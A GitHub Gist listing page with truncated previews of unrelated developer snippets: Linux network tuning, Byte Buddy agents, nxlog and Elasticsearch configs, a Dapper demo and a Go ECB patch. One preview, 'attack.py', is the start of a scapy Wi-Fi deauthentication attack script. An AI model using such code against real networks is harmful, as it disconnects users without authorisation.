Skip to content

Instantly share code, notes, and snippets.

View sdhjl2000's full-sized avatar
🎯
Focusing

jason hu sdhjl2000

🎯
Focusing
View GitHub Profile
@y0ngb1n
y0ngb1n / docker-registry-mirrors.md
Last active November 19, 2024 11:28
国内的 Docker Hub 镜像加速器,由国内教育机构与各大云服务商提供的镜像加速服务 | Dockerized 实践 https://github.com/y0ngb1n/dockerized
@mustafaturan
mustafaturan / network-tweak.md
Last active September 26, 2024 17:36
Linux Network Tweak for 2 million web socket connections

Sample config for 2 million web socket connection

    sysctl -w fs.file-max=12000500
    sysctl -w fs.nr_open=20000500
    # Set the maximum number of open file descriptors
    ulimit -n 20000000

    # Set the memory size for TCP with minimum, default and maximum thresholds 
 sysctl -w net.ipv4.tcp_mem='10000000 10000000 10000000'
@wu-sheng
wu-sheng / AppendToBootstrapClassLoaderSearch.java
Last active March 7, 2024 06:14
byte-buddy appendToBootstrapClassLoaderSearch, and jdk instrumentation
/**
* All codes from stagemonitor apm, which gives a example about how to use instrumentation::appendToBootstrapClassLoaderSearch
* This will be very useful for instrument some class in rt.jar
*/
private static boolean initInstrumentation() {
try {
/**
* this try-catch block shows two ways about instrumentation.
* ref issue: https://github.com/raphw/byte-buddy/issues/237
*/
@garyconstable
garyconstable / attack.py
Last active January 15, 2024 05:20
Deauth Attack
import argparse
from scapy.all import *
def perform_deauth(bssid, client, count):
"""
Send Deauth packets
"""
packet = RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7)
for n in range(int(count)):
@raphw
raphw / BootstrapAgent.java
Last active September 6, 2024 22:58
An example agent that intercepts a method of the bootstrap class loader.
package net.bytebuddy;
import net.bytebuddy.agent.ByteBuddyAgent;
import net.bytebuddy.agent.builder.AgentBuilder;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassInjector;
import net.bytebuddy.implementation.MethodDelegation;
import net.bytebuddy.implementation.bind.annotation.SuperCall;
@Gazler
Gazler / setup.sh
Last active November 19, 2024 02:28
sysctl -w fs.file-max=12000500
sysctl -w fs.nr_open=20000500
ulimit -n 4000000
sysctl -w net.ipv4.tcp_mem='10000000 10000000 10000000'
sysctl -w net.ipv4.tcp_rmem='1024 4096 16384'
sysctl -w net.ipv4.tcp_wmem='1024 4096 16384'
sysctl -w net.core.rmem_max=16384
sysctl -w net.core.wmem_max=16384
wget http://packages.erlang-solutions.com/erlang-solutions_1.0_all.deb
sudo dpkg -i erlang-solutions_1.0_all.deb
@ianblenke
ianblenke / nxlog.conf
Created February 20, 2015 22:59
nxlog directly to elasticsearch
## This is a sample configuration file. See the nxlog reference manual about the
## configuration options. It should be installed locally and is also available
## online at http://nxlog.org/nxlog-docs/en/nxlog-reference-manual.html
## Please set the ROOT to the folder your nxlog was installed into,
## otherwise it will not start.
#define ROOT C:\Program Files\nxlog
define ROOT C:\Program Files (x86)\nxlog
@jsauve
jsauve / AsyncDapperDemo.cs
Last active August 18, 2023 17:58
Async Dapper Demo. Includes buffered and non-buffered connection helpers.
using System;
using System.Linq;
using System.Data;
using System.Data.SqlClient;
using System.Threading.Tasks;
using Dapper;
public class Program
{
public static void Main()
@kkc
kkc / elasticsearch.md
Last active December 29, 2023 00:39
Elasticsearch performance tuning

##TUNING##

Configuration

System: set file descriptors to 32K or 64K

vim /etc/security/limit.conf

@yinheli
yinheli / ecb.go
Last active November 9, 2022 11:33
golang 标准库不支持 AES/ECB/PKCS5Padding issues: https://code.google.com/p/go/issues/detail?id=5597 别人的补丁. https://codereview.appspot.com/7860047/
package main
import (
"crypto/cipher"
)
type ecb struct {
b cipher.Block
blockSize int
}